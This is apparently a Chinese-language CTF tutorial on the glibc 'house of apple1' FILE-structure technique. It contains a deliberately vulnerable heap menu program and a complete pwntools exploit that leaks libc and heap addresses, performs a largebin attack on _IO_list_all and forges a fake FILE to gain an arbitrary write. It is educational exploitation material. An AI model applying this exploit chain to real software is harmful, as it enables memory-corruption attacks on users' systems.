前言
house of apple1主要是用来任意地址写,而不是get shell
基本概念
查看 IO_FILE
结构体,发现其中有一个叫 _wide_data
的成员
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data; //here
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
_IO_wide_data
结构体用于处理宽字符的输入输出,内部结构跟_IO_file结构体很类似
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable; //重点
};
重点在于上方标出的_wide_vtable
,就像vtable
一样,内部有很多函数,比如我们常见的overflow
函数,只不过在这里叫做_IO_wstrn_overflow
const struct _IO_jump_t _IO_wstrn_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_wstr_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstrn_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT(seekoff, _IO_wstr_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
漏洞点
_IO_wstrn_overflow
源码如下
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf; //重点
fp->_wide_data->_IO_write_end = snf->overflow_buf; //重点
return c;
}
最后面有两个赋值,可以把snf->overflow_buf
的地址写到 fp->_wide_data->_IO_write_ptr
和fp->_wide_data->_IO_write_end
这两个地方
利用点就出现了:
- 本身
snf->overflow_buf
的地址应该是一个libc
内部不可控的地址,但是如果我们进行了house of apple1
的攻击,势必会劫持_IO_list_all
为堆块,所以这个地址会变成一个可控的,或者我们可知道的堆地址 fp->_wide_data
这一步对_wide_data
是没有检查的,所以我们可以改这个地址到目标地址处
这样就可以造成任意地址写了
调用链
► 0x4012e6 <main+352> call fcloseall@plt
0x7ffff7c88ce4 <fcloseall+4> jmp _IO_cleanup
► 0x7ffff7c8ebf9 <_IO_cleanup+41> call _IO_flush_all_lockp
► 0x7ffff7c8ea3f <_IO_flush_all_lockp+223> call qword ptr [rax + 0x18] <_IO_wstrn_overflow>
进入_IO_wstrn_overflow后就会执行如下的内容,将snf->overflow_buf
的地址填到到目标地址附近许多地址处
0x7ffff7c82fdf <_IO_wstrn_overflow+95> movdqa xmm0, xmmword ptr [rsp + 0x10]
0x7ffff7c82fe5 <_IO_wstrn_overflow+101> movups xmmword ptr [rdx], xmm1
► 0x7ffff7c82fe8 <_IO_wstrn_overflow+104> movups xmmword ptr [rdx + 0x10], xmm0
0x7ffff7c82fec <_IO_wstrn_overflow+108> movups xmmword ptr [rdx + 0x20], xmm0
模板
fp - >_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
_wide_data = target_addr-0x18
vtable = _IO_wstrn_jumps
pwndbg> p *(struct _IO_FILE_plus *) _IO_list_all
$1 = {
file = {
_flags = 0,
_IO_read_ptr = 0x521 <error: Cannot access memory at address 0x521>,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x2333b808,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x757724e15dc0 <_IO_wstrn_jumps>
}
例题
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
fcloseall();
default:
puts("invalid choice.");
return 0;
}
}
}
case5的fcloseall用于触发
from pwn import *
from bisect import *
context(arch='amd64',os='linux')
io=process('./io')
gdb.attach(io)
libc=ELF('./libc.so.6')
def cmd(choice):
io.recvuntil(b'choice:\n')
io.sendline(str(choice).encode())
def add(index,size):
cmd(1)
io.recvuntil(b'index:\n')
io.sendline(str(index).encode())
io.recvuntil(b'size:\n')
io.sendline(str(size).encode())
def delete(index):
cmd(2)
io.recvuntil(b'index:\n')
io.sendline(str(index).encode())
def edit(index,size,data):
cmd(3)
io.recvuntil(b'index:\n')
io.sendline(str(index).encode())
io.recvuntil(b'length:\n')
io.sendline(str(size).encode())
io.recvuntil(b'content:\n')
io.send(data)
def show(index):
cmd(4)
io.recvuntil(b'index:\n')
io.sendline(str(index).encode())
add(0,0x510)
add(1,0x20)
add(2,0x500)
add(3,0x20)
#leak libc_base
delete(0)
show(0)
leak=u64(io.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x219ce0
info("libc_base: "+hex(libc_base))
#stderr=libc_base+libc.sym['_IO_2_1_stderr_']
stderr=libc_base+libc.sym['_IO_list_all']
info("stderr: "+hex(stderr))
_IO_wstrn_jumps=libc_base+0x215dc0
info("_IO_wstrn_jumps: "+hex(_IO_wstrn_jumps))
# heap_addr
delete(1)
show(1)
key=u64(io.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_addr=key<<12
info("heap_addr: "+hex(heap_addr))
add(1,0x20)
#largebin attack
delete(2)
add(2,0x500)
edit(0,0x20,p64(0)*3+p64(stderr-0x20))
delete(2)
add(2,0x4f0)
#restore largebin
edit(0,0x20,p64(libc_base+0x21a110)*2+p64(heap_addr+0x290)*2)
add(0,0x510)
#fake io
target=heap_addr+0x7f0+0x30
fake_io=flat(p64(0)*2,
p64(0),#write_base
p64(1),#write_ptr
p64(0)*14,
p64(target-0x18),
p64(0)*6,
p64(_IO_wstrn_jumps),
)
edit(0,len(fake_io),fake_io)
pause()
cmd(5)
io.interactive()
可以看到target+0x18附近很多地址都被填入了一样的值